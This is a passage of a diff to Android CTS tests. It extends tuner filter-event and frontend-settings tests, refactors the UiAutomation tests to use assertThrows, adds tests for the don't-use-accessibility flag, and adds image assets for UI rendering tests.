+                        testIpCidChangeEvent(filter, (IpCidChangeEvent) e);
+                    } else if (e instanceof RestartEvent) {
+                        testRestartEvent(filter, (RestartEvent) e);
                     }
                 }
             }
@@ -547,11 +885,22 @@
             ad.getAdGainFront();
             ad.getAdGainSurround();
         }
+        e.release();
     }
 
     private void testMmtpRecordEvent(Filter filter, MmtpRecordEvent e) {
         e.getScHevcIndexMask();
         e.getDataLength();
+        int mpuSequenceNumber = e.getMpuSequenceNumber();
+        long pts = e.getPts();
+        int firstMbInSlice = e.getFirstMacroblockInSlice();
+        int tsIndexMask = e.getTsIndexMask();
+        if (!TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(mpuSequenceNumber, Tuner.INVALID_MMTP_RECORD_EVENT_MPT_SEQUENCE_NUM);
+            assertEquals(pts, Tuner.INVALID_TIMESTAMP);
+            assertEquals(firstMbInSlice, Tuner.INVALID_FIRST_MACROBLOCK_IN_SLICE);
+            assertEquals(tsIndexMask, 0);
+        }
     }
 
     private void testPesEvent(Filter filter, PesEvent e) {
@@ -586,6 +935,24 @@
         e.getTsIndexMask();
         e.getScIndexMask();
         e.getDataLength();
+        long pts = e.getPts();
+        int firstMbInSlice = e.getFirstMacroblockInSlice();
+        if (!TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            assertEquals(pts, Tuner.INVALID_TIMESTAMP);
+            assertEquals(firstMbInSlice, Tuner.INVALID_FIRST_MACROBLOCK_IN_SLICE);
+        }
+    }
+
+    private void testScramblingStatusEvent(Filter filter, ScramblingStatusEvent e) {
+        e.getScramblingStatus();
+    }
+
+    private void testIpCidChangeEvent(Filter filter, IpCidChangeEvent e) {
+        e.getIpCid();
+    }
+
+    private void testRestartEvent(Filter filter, RestartEvent e) {
+        e.getStartId();
     }
 
     private OnRecordStatusChangedListener getRecordListener() {
@@ -605,6 +972,7 @@
     private FrontendSettings createFrontendSettings(FrontendInfo info) {
             FrontendCapabilities caps = info.getFrontendCapabilities();
             int minFreq = info.getFrequencyRange().getLower();
+            int maxFreq = info.getFrequencyRange().getUpper();
             FrontendCapabilities feCaps = info.getFrontendCapabilities();
             switch(info.getType()) {
                 case FrontendSettings.TYPE_ANALOG: {
@@ -622,12 +990,15 @@
                     Atsc3FrontendCapabilities atsc3Caps = (Atsc3FrontendCapabilities) caps;
                     int bandwidth = getFirstCapable(atsc3Caps.getBandwidthCapability());
                     int demod = getFirstCapable(atsc3Caps.getDemodOutputFormatCapability());
-                    return Atsc3FrontendSettings
-                            .builder()
-                            .setFrequency(minFreq)
-                            .setBandwidth(bandwidth)
-                            .setDemodOutputFormat(demod)
-                            .build();
+                    Atsc3FrontendSettings settings =
+                            Atsc3FrontendSettings
+                                    .builder()
+                                    .setFrequency(minFreq)
+                                    .setBandwidth(bandwidth)
+                                    .setDemodOutputFormat(demod)
+                                    .build();
+                    settings.setEndFrequency(maxFreq);
+                    return settings;
                 }
                 case FrontendSettings.TYPE_ATSC: {
                     AtscFrontendCapabilities atscCaps = (AtscFrontendCapabilities) caps;
@@ -643,24 +1014,30 @@
                     int modulation = getFirstCapable(dvbcCaps.getModulationCapability());
                     int fec = getFirstCapable(dvbcCaps.getFecCapability());
                     int annex = getFirstCapable(dvbcCaps.getAnnexCapability());
-                    return DvbcFrontendSettings
-                            .builder()
-                            .setFrequency(minFreq)
-                            .setModulation(modulation)
-                            .setInnerFec(fec)
-                            .setAnnex(annex)
-                            .build();
+                    DvbcFrontendSettings settings =
+                            DvbcFrontendSettings
+                                    .builder()
+                                    .setFrequency(minFreq)
+                                    .setModulation(modulation)
+                                    .setInnerFec(fec)
+                                    .setAnnex(annex)
+                                    .build();
+                    settings.setEndFrequency(maxFreq);
+                    return settings;
                 }
                 case FrontendSettings.TYPE_DVBS: {
                     DvbsFrontendCapabilities dvbsCaps = (DvbsFrontendCapabilities) caps;
                     int modulation = getFirstCapable(dvbsCaps.getModulationCapability());
                     int standard = getFirstCapable(dvbsCaps.getStandardCapability());
-                    return DvbsFrontendSettings
-                            .builder()
-                            .setFrequency(minFreq)
-                            .setModulation(modulation)
-                            .setStandard(standard)
-                            .build();
+                    DvbsFrontendSettings settings =
+                            DvbsFrontendSettings
+                                    .builder()
+                                    .setFrequency(minFreq)
+                                    .setModulation(modulation)
+                                    .setStandard(standard)
+                                    .build();
+                    settings.setEndFrequency(maxFreq);
+                    return settings;
                 }
                 case FrontendSettings.TYPE_DVBT: {
                     DvbtFrontendCapabilities dvbtCaps = (DvbtFrontendCapabilities) caps;
@@ -723,6 +1100,30 @@
                             .setGuardInterval(guardInterval)
                             .build();
                 }
+                case FrontendSettings.TYPE_DTMB: {
+                    DtmbFrontendCapabilities dtmbCaps = (DtmbFrontendCapabilities) caps;
+                    int modulation = getFirstCapable(dtmbCaps.getModulationCapability());
+                    int transmissionMode = getFirstCapable(
+                            dtmbCaps.getTransmissionModeCapability());
+                    int guardInterval = getFirstCapable(dtmbCaps.getGuardIntervalCapability());
+                    int timeInterleaveMode = getFirstCapable(
+                            dtmbCaps.getTimeInterleaveModeCapability());
+                    int codeRate = getFirstCapable(dtmbCaps.getCodeRateCapability());
+                    int bandwidth = getFirstCapable(dtmbCaps.getBandwidthCapability());
+                    DtmbFrontendSettings settings =
+                            DtmbFrontendSettings
+                                    .builder()
+                                    .setFrequency(minFreq)
+                                    .setModulation(modulation)
+                                    .setTransmissionMode(transmissionMode)
+                                    .setBandwidth(bandwidth)
+                                    .setCodeRate(codeRate)
+                                    .setGuardInterval(guardInterval)
+                                    .setTimeInterleaveMode(timeInterleaveMode)
+                                    .build();
+                    settings.setEndFrequency(maxFreq);
+                    return settings;
+                }
                 default:
                     break;
             }
@@ -801,6 +1202,21 @@
 
             @Override
             public void onSignalTypeReported(int signalType) {}
+
+            @Override
+            public void onModulationReported(int modulation) {
+                ScanCallback.super.onModulationReported(modulation);
+            }
+
+            @Override
+            public void onPriorityReported(boolean isHighPriority) {
+                ScanCallback.super.onPriorityReported(isHighPriority);
+            }
+
+            @Override
+            public void onDvbcAnnexReported(int dvbcAnnext) {
+                ScanCallback.super.onDvbcAnnexReported(dvbcAnnext);
+            }
         };
     }
 }
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index fdc7457..34d8def 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,50 +16,47 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.app.uiautomation.cts"
-        android:targetSandboxVersion="2">
+     package="android.app.uiautomation.cts"
+     android:targetSandboxVersion="2">
 
-  <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-  <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
+  <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+  <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+  <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
 
   <application android:theme="@android:style/Theme.Holo.NoActionBar"
-          android:requestLegacyExternalStorage="true">
+       android:requestLegacyExternalStorage="true">
 
       <uses-library android:name="android.test.runner"/>
 
-      <activity
-          android:name="android.app.uiautomation.cts.UiAutomationTestFirstActivity"
-          android:exported="true">
+      <activity android:name="android.app.uiautomation.cts.UiAutomationTestFirstActivity"
+           android:exported="true">
       </activity>
 
-      <activity
-          android:name="android.app.uiautomation.cts.UiAutomationTestSecondActivity"
-          android:exported="true">
+      <activity android:name="android.app.uiautomation.cts.UiAutomationTestSecondActivity"
+           android:exported="true">
       </activity>
 
-      <service
-              android:name="android.app.uiautomation.cts.UiAutomationTestA11yService"
-              android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" >
+      <service android:name="android.app.uiautomation.cts.UiAutomationTestA11yService"
+           android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.accessibilityservice.AccessibilityService" />
+              <action android:name="android.accessibilityservice.AccessibilityService"/>
 
-              <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+              <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
           </intent-filter>
 
-          <meta-data
-                  android:name="android.accessibilityservice"
-                  android:resource="@xml/ui_automation_test_a11y_service" />
+          <meta-data android:name="android.accessibilityservice"
+               android:resource="@xml/ui_automation_test_a11y_service"/>
       </service>
 
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.app.uiautomation.cts">
+       android:targetPackage="android.app.uiautomation.cts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/uiautomation/OWNERS b/tests/tests/uiautomation/OWNERS
index a98c458..bf9a18d 100644
--- a/tests/tests/uiautomation/OWNERS
+++ b/tests/tests/uiautomation/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44215
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 9135e56..95de736 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -24,6 +24,7 @@
 
 import android.Manifest;
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -39,10 +40,12 @@
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.view.FrameStats;
+import android.view.KeyEvent;
 import android.view.WindowAnimationFrameStats;
 import android.view.WindowContentFrameStats;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
+import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.ListView;
 
@@ -91,30 +94,23 @@
         final PackageManager packageManager = context.getPackageManager();
 
         // Try to access APIs guarded by a platform defined signature permissions
-        try {
-            activityManager.getPackageImportance("foo.bar.baz");
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
-        try {
-            packageManager.grantRuntimePermission(context.getPackageName(),
-                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
+        assertThrows(SecurityException.class,
+                () -> activityManager.getPackageImportance("foo.bar.baz"),
+                "Should not be able to access APIs protected by a permission apps cannot get");
+        assertThrows(SecurityException.class,
+                () -> packageManager.grantRuntimePermission(context.getPackageName(),
+                        Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle()),
+                "Should not be able to access APIs protected by a permission apps cannot get");
 
         // Access APIs guarded by a platform defined signature permissions
         try {
+            assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
+                    context.getPackageName()), PackageManager.PERMISSION_DENIED);
             getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
-
             // Access APIs guarded by a platform defined signature permission
             activityManager.getPackageImportance("foo.bar.baz");
 
             // Grant ourselves a runtime permission (was granted at install)
-            assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
-                    context.getPackageName()), PackageManager.PERMISSION_DENIED);
             packageManager.grantRuntimePermission(context.getPackageName(),
                     Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
         } catch (SecurityException e) {
@@ -128,19 +124,13 @@
 
 
         // Try to access APIs guarded by a platform defined signature permissions
-        try {
-            activityManager.getPackageImportance("foo.bar.baz");
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
-        try {
-            packageManager.revokeRuntimePermission(context.getPackageName(),
-                    Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
-            fail("Should not be able to access APIs protected by a permission apps cannot get");
-        } catch (SecurityException e) {
-            /* expected */
-        }
+        assertThrows(SecurityException.class,
+                () -> activityManager.getPackageImportance("foo.bar.baz"),
+                "Should not be able to access APIs protected by a permission apps cannot get");
+        assertThrows(SecurityException.class,
+                () -> packageManager.revokeRuntimePermission(context.getPackageName(),
+                        Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle()),
+                "Should not be able to access APIs protected by a permission apps cannot get");
     }
 
     @AppModeFull
@@ -402,11 +392,8 @@
     public void testUsingUiAutomationAfterDestroy_shouldThrowException() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         uiAutomation.destroy();
-        try {
-            uiAutomation.getServiceInfo();
-            fail("Expected exception when using destroyed UiAutomation");
-        } catch (RuntimeException e) {
-        }
+        assertThrows(RuntimeException.class, () -> uiAutomation.getServiceInfo(),
+                "Expected exception when using destroyed UiAutomation");
     }
 
     @AppModeFull
@@ -443,20 +430,14 @@
 
     @AppModeFull
     @Test
-    public void testServiceSupressingA11yServices_a11yServiceStartsWhenDestroyed()
-            throws Exception {
+    public void testServiceWithDontUseAccessibilityFlag_shutsDownA11yService() throws Exception {
         turnAccessibilityOff();
         try {
-            UiAutomation uiAutomation = getInstrumentation()
-                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
             enableAccessibilityService();
-            uiAutomation.destroy();
-            UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation();
-            // We verify above that the connection is broken here. Make sure we see a new one
-            // after we destroy it
+            assertTrue(UiAutomationTestA11yService.sConnectedInstance.isConnected());
+            getInstrumentation().getUiAutomation(
+                    UiAutomation.FLAG_DONT_USE_ACCESSIBILITY); // Should suppress
             waitForAccessibilityServiceToUnbind();
-            suppressingUiAutomation.destroy();
-            waitForAccessibilityServiceToStart();
         } finally {
             turnAccessibilityOff();
         }
@@ -464,7 +445,42 @@
 
     @AppModeFull
     @Test
-    public void testServiceSupressingA11yServices_a11yServiceStartsWhenFlagsChange()
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenDestroyed()
+            throws Exception {
+        turnAccessibilityOff();
+        try {
+            UiAutomation uiAutomation = getInstrumentation()
+                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+            enableAccessibilityService();
+            uiAutomation.destroy();
+
+            assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(0);
+        } finally {
+            turnAccessibilityOff();
+        }
+    }
+
+    @AppModeFull
+    @Test
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenDestroyedAndFlagChanged()
+            throws Exception {
+        turnAccessibilityOff();
+        try {
+            UiAutomation uiAutomation = getInstrumentation()
+                    .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+            enableAccessibilityService();
+            uiAutomation.destroy();
+
+            assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(
+                    UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        } finally {
+            turnAccessibilityOff();
+        }
+    }
+
+    @AppModeFull
+    @Test
+    public void testServiceSuppressingA11yServices_a11yServiceStartsWhenFlagsChange()
             throws Exception {
         turnAccessibilityOff();
         try {
@@ -483,6 +499,61 @@
         }
     }
 
+    @AppModeFull
+    @Test
+    public void testCallingDisabledAccessibilityAPIsWithDontUseAccessibilityFlag_shouldThrowException()
+            throws Exception {
+        final UiAutomation uiAutomation = getInstrumentation()
+                .getUiAutomation(UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        final String failMsg =
+                "Should not be able to access Accessibility APIs disabled by UiAutomation flag, "
+                        + "FLAG_DONT_USE_ACCESSIBILITY";
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK),
+                failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.findFocus(AccessibilityNodeInfo.FOCUS_INPUT), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getServiceInfo(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.setServiceInfo(new AccessibilityServiceInfo()), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.findFocus(AccessibilityNodeInfo.FOCUS_INPUT), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindows(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindowsOnAllDisplays(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.clearWindowContentFrameStats(-1), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getWindowContentFrameStats(-1), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.getRootInActiveWindow(), failMsg);
+        assertThrows(IllegalStateException.class,
+                () -> uiAutomation.setOnAccessibilityEventListener(null), failMsg);
+    }
+
+    @AppModeFull
+    @Test
+    public void testCallingPublicAPIsWithDontUseAccessibilityFlag_shouldNotThrowException()
+            throws Exception {
+        final UiAutomation uiAutomation = getInstrumentation()
+                .getUiAutomation(UiAutomation.FLAG_DONT_USE_ACCESSIBILITY);
+        final KeyEvent event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_BACK, 0);
+        uiAutomation.injectInputEvent(event, true);
+        uiAutomation.syncInputTransactions();
+        uiAutomation.setRotation(UiAutomation.ROTATION_FREEZE_0);
+        uiAutomation.takeScreenshot();
+        uiAutomation.clearWindowAnimationFrameStats();
+        uiAutomation.getWindowAnimationFrameStats();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(Manifest.permission.BATTERY_STATS);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     private void scrollListView(UiAutomation uiAutomation, final ListView listView,
             final int position) throws TimeoutException {
         getInstrumentation().runOnMainSync(new Runnable() {
@@ -541,7 +612,7 @@
     private void waitForAccessibilityServiceToStart() {
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
-            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+            synchronized (UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
                 if (UiAutomationTestA11yService.sConnectedInstance != null) {
                     return;
                 }
@@ -559,7 +630,7 @@
     private void waitForAccessibilityServiceToUnbind() {
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
-            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+            synchronized (UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
                 if (UiAutomationTestA11yService.sConnectedInstance == null) {
                     return;
                 }
@@ -652,6 +723,27 @@
         }
     }
 
+    // An actual version of assertThrows() was added in JUnit5
+    private static <T extends Throwable> void assertThrows(Class<T> clazz, Runnable r,
+            String message) {
+        try {
+            r.run();
+        } catch (Exception expected) {
+            assertTrue(clazz.isAssignableFrom(expected.getClass()));
+            return;
+        }
+        fail(message);
+    }
+
+    private void assertA11yServiceSuppressedAndRestartsAfterUiAutomationDestroyed(int flag) {
+        UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation(flag);
+        // We verify above that the connection is broken here. Make sure we see a new one
+        // after we destroy it
+        waitForAccessibilityServiceToUnbind();
+        suppressingUiAutomation.destroy();
+        waitForAccessibilityServiceToStart();
+    }
+
     private int findAppWindowId(List<AccessibilityWindowInfo> windows) {
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index c8e62b6..c7d30dc 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -19,6 +19,7 @@
 android_test {
     name: "CtsUiRenderingTestCases",
     sdk_version: "test_current",
+    compile_multilib: "both",
 
     srcs: [
         "src/**/*.java",
@@ -32,7 +33,10 @@
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "kotlin-test",
+        "testng",
+        "junit-params",
     ],
+    jni_libs: ["libctsuirendering_jni"],
 
     libs: ["android.test.runner"],
 
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png
new file mode 100644
index 0000000..3229a94
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds2_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png
new file mode 100644
index 0000000..7417267
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlphaMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png
new file mode 100644
index 0000000..ecbd3f0
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsAlpha_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png
new file mode 100644
index 0000000..4d2cf9a
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsColorFilter_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png
new file mode 100644
index 0000000..d480bbc
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsCrop_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png
new file mode 100644
index 0000000..997707b
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsLTRMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png
new file mode 100644
index 0000000..3a05689
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsMirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png
new file mode 100644
index 0000000..31b6dd2
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsPostProcess_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png
new file mode 100644
index 0000000..997707b
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBoundsRTLUnmirrored_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png
new file mode 100644
index 0000000..98dc6f2
--- /dev/null
+++ b/tests/tests/uirendering/assets/AnimatedImageDrawableTest/testSetBounds_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim.gif b/tests/tests/uirendering/assets/alphabetAnim.gif
new file mode 100644
index 0000000..d6b7d85
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_001.png b/tests/tests/uirendering/assets/alphabetAnim_001.png
new file mode 100644
index 0000000..19832ff
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_002.png b/tests/tests/uirendering/assets/alphabetAnim_002.png
new file mode 100644
index 0000000..3bd2c2b
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_003.png b/tests/tests/uirendering/assets/alphabetAnim_003.png
new file mode 100644
index 0000000..2fdd045
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_004.png b/tests/tests/uirendering/assets/alphabetAnim_004.png
new file mode 100644
index 0000000..f580283
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_005.png b/tests/tests/uirendering/assets/alphabetAnim_005.png
new file mode 100644
index 0000000..8ae5f9d
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_006.png b/tests/tests/uirendering/assets/alphabetAnim_006.png
new file mode 100644
index 0000000..43c742a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_007.png b/tests/tests/uirendering/assets/alphabetAnim_007.png
new file mode 100644
index 0000000..526eb4a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_007.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_008.png b/tests/tests/uirendering/assets/alphabetAnim_008.png
new file mode 100644
index 0000000..8638601
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_008.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_009.png b/tests/tests/uirendering/assets/alphabetAnim_009.png
new file mode 100644
index 0000000..04fe49a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_009.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_010.png b/tests/tests/uirendering/assets/alphabetAnim_010.png
new file mode 100644
index 0000000..e606bdf
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_010.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_011.png b/tests/tests/uirendering/assets/alphabetAnim_011.png
new file mode 100644
index 0000000..208eac2
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_011.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_012.png b/tests/tests/uirendering/assets/alphabetAnim_012.png
new file mode 100644
index 0000000..034b3ec
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_012.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated.gif b/tests/tests/uirendering/assets/animated.gif
new file mode 100644
index 0000000..51baf15
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_001.gif b/tests/tests/uirendering/assets/animated_001.gif
new file mode 100644
index 0000000..0aced89
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_001.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_002.gif b/tests/tests/uirendering/assets/animated_002.gif
new file mode 100644
index 0000000..fb0e56e
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_002.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_003.gif b/tests/tests/uirendering/assets/animated_003.gif
new file mode 100644
index 0000000..f35ea24
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_003.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_webp.webp b/tests/tests/uirendering/assets/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG.webp b/tests/tests/uirendering/assets/blendBG.webp
new file mode 100644
index 0000000..46e4ce2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_001.png b/tests/tests/uirendering/assets/blendBG_001.png
new file mode 100644
